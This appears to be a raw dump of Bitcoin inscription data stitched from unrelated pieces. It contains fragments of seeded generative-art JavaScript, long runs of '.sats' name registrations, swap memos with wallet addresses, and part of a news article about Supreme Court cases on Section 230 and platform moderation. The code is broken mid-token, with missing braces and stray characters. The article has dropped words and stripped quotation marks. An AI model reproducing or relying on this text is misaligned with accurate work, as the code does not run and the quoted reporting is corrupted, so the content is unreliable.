Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | M 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); html, body { margin: 0; padding: 0; max-width: 100%; max-height: 100%; margin: auto; overflow: auto; position: fixed; object-fit: contain; bottom: 0; left: 0; right: 0; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object window.$generativeTraits = { "T1": T1(rand), console.log(window.$generativeTraits) Add your code here nst container = document.createElement("div") // container.innerHTML = "<span>seed: " + seed + "</span><br>"; // document.body.prepend(container) //License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. //Author: @devhontran //Twitter: https://twitter.com/DevHontran //Website: https://hontran.dev const scaler = 1; let paper, border; let shadown = {x: -5, y: 5}; let layers = []; let padding = 40; function cyrb128(str) { = 1779033703, h2 = 3144134277, h3 = 1013904242, h4 = 2773480762; for (let i = 0, k; i < str.length; i++) { k = str.charCodeAt(i); h1 = h2 ^ Math.imul(h1 ^ k, 597399067); h2 = h3 ^ Math.imul(h2 ^ k, 2869860233); h3 = h4 ^ Math.imul(h3 ^ k, 951274213); h4 = h1 ^ Math.imul(h4 ^ k, 2716044179); h1 = Math.imul(h3 ^ (h1 >>> 18), 597399067); h2 = Math.imul(h4 ^ (h2 >>> 22), 2869860233); h3 = Math.imul(h1 ^ (h3M >>> 17), 951274213); h4 = Math.imul(h2 ^ (h4 >>> 19), 2716044179); return [(h1^h2^h3^h4)>>>0, (h2^h1)>>>0, (h3^h1)>>>0, (h4^h1)>>>0]; function sfc32_c(a, b, c, d) { a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0; var t = (a + b) | 0; a = b ^ b >>> 9; b = c + (c << 3) | 0; c = (c << 21 | c >>> 11); d = d + 1 | 0; t = t + d | 0; c = c + t | 0; return (t >>> 0) / 4294967296; // return random value from [l -> r] function consistentRand (seed, l, r) { const rand = sfc32_c(...cyrb128(seed.toString())); return l + rand * (r - l) function getRandomItem (listP, seed) { const pref = [] for (const x of listP) pref.push(x) for (let i = 1; i < listP.length; i++) { pref[i] += pref[i - 1] for (let i = 0; i < pref.length; i++) pref[i] /= pref[pref.length - 1]; // get random value from 0->1 const rand = consistentRand(seed, 0, 1) r (let i = 0; i < pref.length; i++) { if (rand < pref[i]) return i; function createRadialGradient(x, y, r, x1, y1, r1) { const grd = drawingContext.createRadialGradient(x, y, r, x1, y1, r1); grd.addColorStop(0,"#FFFFFF"); grd.addColorStop(1,"#E5E5E3"); drawingContext.fillStyle = grd; drawingContext.fillRect(0, 0, width, height); function artNosie(){ const w = width * 1.2; const h = height * 1.2M paper = createGraphics(w, h); for(let i = 0 ; i< 100000; i++){ let x = random(w); let y = random(h); let dotSize = 10.0*(noise(x/(width / 4), y/(height / 4))*2 - noise(x/width, y/height)); paper.strokeWeight(random(0.25, 3)); paper.stroke(random(20, 80), random(1+dotSize, 4+dotSize)); paper.point(x, y); function generabox(col, pos, si){ const layer = createGraphics(width, height); ill(140, 178, 250, 56); layer.noStroke(); layer.rect(pos.x + shadown.x, pos.y + shadown.y, si.w, si.h); layer.filter(BLUR, 3); layer.fill(col.r, col.g, col.b, col.a); layer.noStroke(); layer.rect(pos.x, pos.y, si.w, si.h); layers.push(layer); function setup() { const hash = rand ? rand : Math.random(); const fCol = {r: 255, g: 255, b: 255}; const s = min(window.innerWidth, window.innerHeight) createCanvas(s,s);M for(let i=0; i<9; i++){ const tHash = `${hash}_${i}`; const cyrHash = cyrb128(tHash); const mixHash_color_r = consistentRand(cyrHash[0], 0, 1); const mixHash_color_g = consistentRand(cyrHash[1], 0, 255); const mixHash_color_b = consistentRand(cyrHash[2], 0, 255); const mixHash_color_a = 255;//consistentRand(cyrHash[3], 100, 255); const sw = consistentRand(cyrHash[0],50, width / 2); const sh = consistentRaM nd(cyrHash[3], 50, height / 2); const col = {r: mixHash_color_r, g: mixHash_color_g, b: mixHash_color_b, a: mixHash_color_a}; const si = {w: sw, h: sh}; const pos_x = consistentRand(cyrHash[1], padding, width- padding - si.w); const pos_y = consistentRand(cyrHash[2], padding, height- padding - si.h); const pos = {x: pos_x, y: pos_y} // console.log('___i', col, pos, si); generabox(col, pos, si); const borderSize = 30; border = createGraphics(width, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(0, 0, borderSize, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(width - borderSize, 0, borderSize, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(0, 0, width, borderSize); border.fill(fCol.r, fCol.g, fCol.b, 255)M border.noStroke(); border.rect(0, height - borderSize, width, borderSize); function draw() { background('#ffffff'); blendMode(BLEND); for(let i=0; i<9; i++){ image(layers[i], 0, 0, width, height); blendMode(MULTIPLY) createRadialGradient(width / 2, height / 2, 0, width / 2, height / 2, height); blendMode(MULTIPLY); image(paper, 0, 0, width, height); image(border,M- 0, 0, width, height); function windowResized() { const s = min(window.innerWidth, window.innerHeight) resizeCanvas(s, s); Add your code here text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "venmo.sats", "npub": "npub14jff7xyg05f285yhjdtywz4qxyfvax2a3hmwzrdw6y3hdxevr93slfnvmy" 6j4ion:1.QmdYm9zyPYB4hqg4wUAn15ao3afw7H6etMNJcpqkgJ8anb3 FjDOUT:AC94D0D75174C02745E51E827EF79CDBF03EE25D9657582C52744F05FB49A73E FjDOUT:8FB824C66EEC1CDF0FB8D98609D8B9D94AA0F24B7CCC23BFEDA8FB8D8EEFA7A9 Aj?=:ETH.ETH:0x9AC38F2E060F058C57A0898a788aD2B0DcE862CA:4596164::0 Created with GIMPd.e CjA=:ETH.ETH:0x96Bb783b69EB98Ea0db6cB48A8626b1F727cE9F3:2051599:te:0 d/Foundry USA Pool #dropgold/ "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq Bj@=:BNB.BNB:bnb172ud08w0jj756tp5w6k878tuaz8gxtj7re0tjg:15912066::0 Bj@=:ETH.ETH:0x20BaBc607eDc15EA801d5f03aCD3a284dB057f89:23438674::0 CjA=:ETH.ETH:0x13e50019E2581Bf6CAe75E18aDF56931F53B77c7:275218277::0 text/plain;charset=utf-8 "name": "xapo.sats", "npub": "npub14jff7xyg05f285yhjdtywz4qxyfvax2a3hmwzrdw6y3hdxevr93slfnvmy" text/plain;charset=utf-8 "name": "villain.sats" CjA=:ETH.ETH:0x646315c82DA3588947924f69c260E5d507E75F34:1893589:te:0 CjA=:ETH.ETH:0xC5803CAC0d55009f32D9E0395eA5d4Ca95283474:1324539:te:0 DjB=:BNB.BNB:bnb1ey99fu800f09jzf7a8vpt3hqt9dpen3pecp7lm:23457148:te:0 DjB=:BNB.BNB:bnb18e4lltttzkazlatsrct299fq3gsp60j96yr5xv:14396404:te:0 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"museum.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"io.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"explore.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"analyze.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"M21.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"jumpcrypto.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"?.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"%.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"deals.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"cart.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"automate.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"draper.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"webhosting.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"polychain.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12312.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"guide.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"recipes.sats"}h! text/plain;charset=utf-8 "name": "aped.sats" text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"secure.sats"}h! text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"binancelabs.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"security.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"tower.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"jozef.sats"}h! text/plain;charset=utf-8 "name": "aniek.sats" text/plain;charset=utf-8 "name": "punked.sats" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"bargains.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 2{"p":"sns","op":"reg","name":"animocabrands.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"...sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"learning.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"wisdom.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"profit.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"xsat.sats"}h! DjB=:ETH.ETH:0xBAA3266F5C24738E99Bc97F36c5e9691DcCe86a7:24176268:te:0 EjC=:ETH.ETH:0x4b9098f02d3DCb2C310f465CCd115E4C58f784dF:188014716:te:0 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ngc.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"fabric.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"blueyard.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"dekrypt.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"continue.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"aminocapital.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"shimacapital.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"zhenfund.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"collabfund.sats"}h! text/plain;charset=utf-8 4{"p":"sns","op":"reg","name":"fenbushicapital.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"cme.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ecf.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"foundersfund.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"scalar.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"casascius.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"hashed.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"svangel.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"Fuck.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"19888.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"amani.sats"}h! KjI=:BNB.TWT-8C2:bnb1cx5yy2dp8t2u0ax7eu4x22f6ak06nt670tsskt:52776815851:te:0 HjF=:BNB.BTCB-1DE:bnb16xhse49u5qjgtn2je3qm4de33hry0aus2yweut:2458562:te:0 text/plain;charset=utf-8 2{"p":"sns","op":"reg","name":"1confirmation.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"dividends.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"impay.sats"}h! text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"gumicryptos.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"rot.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"usv.sats"}h! text/plain;charset=utf-8 2{"p":"sns","op":"reg","name":"CoinMarketCap.sats"}h! text/plain;charset=utf-8 5{"p":"sns","op":"reg","name":"arringtoncapital.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"emm.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"sequoiacap.sats"}h! text/plain;charset=utf-8 6{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"depay.sats"}h! text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"xiaohongshu.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ren.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"haa.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"UK.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"render.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"dongfang.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"CN.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"iPhone.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"fbg.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"chan.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"hmv.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"exx.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"BTCBTC.sats"}h! text/plain;charset=utf-8 5{"p":"sns","op":"reg","name":"protocolventures.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"LOVE.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"gumi.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"benchmark.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"touch.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"1kx.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"multichain.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"AlchemyPay.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"okxweb3.sats"}h! DjB=:ETH.ETH:0x07E28ee7bf345F5d30087ADc85853104a631F9cA:26667889:te:0 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"badkids.sats"}h! text/plain;charset=utf-8 "name": "aec.sats" text/plain;charset=utf-8 "name": "aen.sats" text/plain;charset=utf-8 "name": "aem.sats" text/plain;charset=utf-8 "name": "ael.sats" text/plain;charset=utf-8 "name": "aej.sats" text/plain;charset=utf-8 "name": "aet.sats" text/plain;charset=utf-8 "name": "aev.sats" text/plain;charset=utf-8 "name": "aek.sats" text/plain;charset=utf-8 "name": "aeq.sats" text/plain;charset=utf-8 "name": "aei.sats" text/plain;charset=utf-8 "name": "aef.sats" text/plain;charset=utf-8 text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } d/Foundry USA Pool #dropgold/ PjLM=:ETH.USDT-EC7:0x932C5aE3Adae304013C9292E71aFcdE69E3aeD13:101312738321:xdf:50 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "SatsHunter.sats" text/plain;charset=utf-8 "name": "sathunter.sats" FjDOUT:B2E4EBD8C5BA290DB6AA900EDC5FDC77FC2E077629F11E51122DF732633DCF62 text/plain;charset=utf-8 "name": "psg.sats" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"1111 text/plain;charset=utf-8 "name": "ahd.sats" text/plain;charset=utf-8 "name": "ahc.sats" text/plain;charset=utf-8 "name": "ahe.sats" text/plain;charset=utf-8 "name": "AndyGo.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "reich.sats" text/plain;charset=utf-8 "name": "aprycot.sats" text/plain;charset=utf-8 "name": "0xaa.sats" Mined by AntPool964K text/plain;charset=utf-8 "author": "David McCabe", "title": "Supreme Court Poised to Reconsider Key Tenets of Online Speech", "url": "https://www.nytimes.com/2023/01/19/technology/supreme-court-online-free-speech-social-media.html", "body": "# Supreme Court Poised to Reconsider Key Tenets of Online Speech\n\n**The cases could significantly affect the power and responsibilities of social media platforms. For years, giant social networks like Facebook, Twitter and Instagram have operated under two crucM ial tenets.**\n\nThe first is that the platforms have the power to decide what content to keep online and what to take down, free from government oversight. The second is that the websites cannot be held legally responsible for most of what their users post online, shielding the companies from lawsuits over libelous speech, extremist content and real-world harm linked to their platforms.\n\nNow the Supreme Court is poised to reconsider those rules, potentially leading to the most significant reset of the doctrines M governing online speech since U.S. officials and courts decided to apply few regulations to the web in the 1990s.\n\nOn Friday, the Supreme Court is expected to discuss whether to hear two cases that challenge laws in Texas and Florida barring online platforms from taking down certain political content. Next month, the court is scheduled to hear a case that questions Section 230, a 1996 statute that protects the platforms from liability for the content posted by their users.\n\nThe cases could eventually alter the M hands-off legal position that the United States has largely taken toward online speech, potentially upending the businesses of TikTok, Twitter, Snap and Meta, which owns Facebook and Instagram.\n\n s a moment when everything might change, said Daphne Keller, a former lawyer for Google who directs a program at Stanford University s Cyber Policy Center.\n\nThe cases are part of a growing global battle over how to handle harmful speech online. In recent years, as Facebook and other sites attracted billionsM of users and became influential communications conduits, the power they wielded came under increasing scrutiny. Questions arose over how the social networks might have unduly affected elections, genocides, wars and political debates.\n\nIn some parts of the world, lawmakers have moved to rein in the platforms influence over speech. Last year, European legislators approved rules that require internet companies to carry out procedures for taking down illicit content and to be more transparent about how they recomM mend content to people.\n\nIn the United States, where freedom of speech is enshrined in the First Amendment, there has been less legislative action. While lawmakers in Washington have grilled the chief executives of the tech giants over the past three years about the content they take down, proposals to regulate harmful content haven t gotten traction.\n\nPartisanship has made the logjam worse. Republicans, some of whom have accused Facebook, Twitter and other sites of censoring them, have pressured the platformM s to leave more content up. In contrast, Democrats have said the platforms should remove more content, like health misinformation.\n\nThe Supreme Court case that challenges Section 230 of the Communications Decency Act is likely to have many ripple effects. While newspapers and magazines can be sued over what they publish, Section 230 shields online platforms from lawsuits over most content posted by their users. It also protects platforms from lawsuits when they take down posts.\n\nFor years, judges cited the law M in dismissing claims against Facebook, Twitter and YouTube, ensuring that the companies did not take on new legal liability with each status update, post and viral video. Critics said the law was a Get Out of Jail Free card for the tech giants.\n\n t have any liability at the back end for any of the harms that are facilitated, they have basically a mandate to be as reckless as possible, said Mary Anne Franks, a University of Miami law professor.\n\nThe Supreme Court previously declined to hear seM veral cases challenging the statute. In 2020, the court turned down a lawsuit, by the families of individuals killed in terrorist attacks, that said Facebook was responsible for promoting extremist content. In 2019, the court declined to hear the case of a man who said his former boyfriend sent people to harass him using the dating app Grindr. The man sued the app, saying it had a flawed product.\n\nBut on Feb. 21, the court plans to hear the case of Gonzalez v. Google, which was brought by the family of an AmericaM n killed in Paris during an attack by followers of the Islamic State. In its lawsuit, the family said Section 230 should not shield YouTube from the claim that the video site supported terrorism when its algorithms recommended Islamic State videos to users. The suit argues that recommendations can count as their own form of content produced by the platform, removing them from the protection of Section 230.\n\nA day later, the court plans to consider a second case, Twitter v. Taamneh. It deals with a related questioM n about when platforms are legally responsible for supporting terrorism under federal law.\n\nEric Schnapper, a University of Washington law professor who is one of the lawyers representing the plaintiffs in both cases, said in an interview that the arguments were narrow enough that they wouldn t change wide swaths of the internet. The whole system doesn he said.\n\nBut Halimah DeLaine Prado, Google s general counsel, said in an interview that any negative ruling in this case, narrow orM otherwise, is going to fundamentally change how the internet works, since it could result in the removal of recommendation algorithms that are to the web.\n\nTwitter did not respond to a request for comment.\n\nTech companies are also closely watching the Texas and Florida cases. Both states passed laws prohibiting social networks from taking down certain content after Twitter and Facebook barred President Donald J. Trump following the Jan. 6, 2021, riot at the U.S. Capitol. Texas rs sue if a large online platform removes their post because of the it expresses. The Florida law fines platforms that permanently ban the accounts of a candidate for office in the state.\n\nNetChoice and CCIA, groups funded by Facebook, Google, Twitter and other tech companies, sued to block the laws in 2021. The groups argued that the companies had a constitutional right to decide what content to host.\n\n s a roundabout way of punishing businesses for exercising First Amendment rights thatM others disagree with, said Chris Marchese, a counsel at NetChoice.\n\nIn Florida, a federal judge agreed with the industry groups, ruling that the law impinged on the platforms First Amendment rights, and the U.S. Court of Appeals for the 11th Circuit upheld most of that decision. But the U.S. Court of Appeals for the Fifth Circuit upheld Texas the idea that corporations have a freewheeling First Amendment right to censor what people say. \n\nThat puts the Supreme Court under pressure M to step in. When federal courts offer different answers to the same question, the Supreme Court often chooses to settle the dispute, said Jeff Kosseff, an associate professor of cybersecurity law at the U.S. Naval Academy.\n\nA spokeswoman for Florida s attorney general, Ashley Moody, pointed to the state s filings with the Supreme Court, where it argues that the ruling blocking the law strips states to protect their citizens access to information. A spokesman for the Texas attorney general, KM en Paxton, did not respond to a request for comment.\n\nIf the Supreme Court s justices decide to hear the challenges, they could move to take the cases immediately for the court s term ending in June or for its next term, which runs from October until the summer of 2024.\n\n re, right now, in a 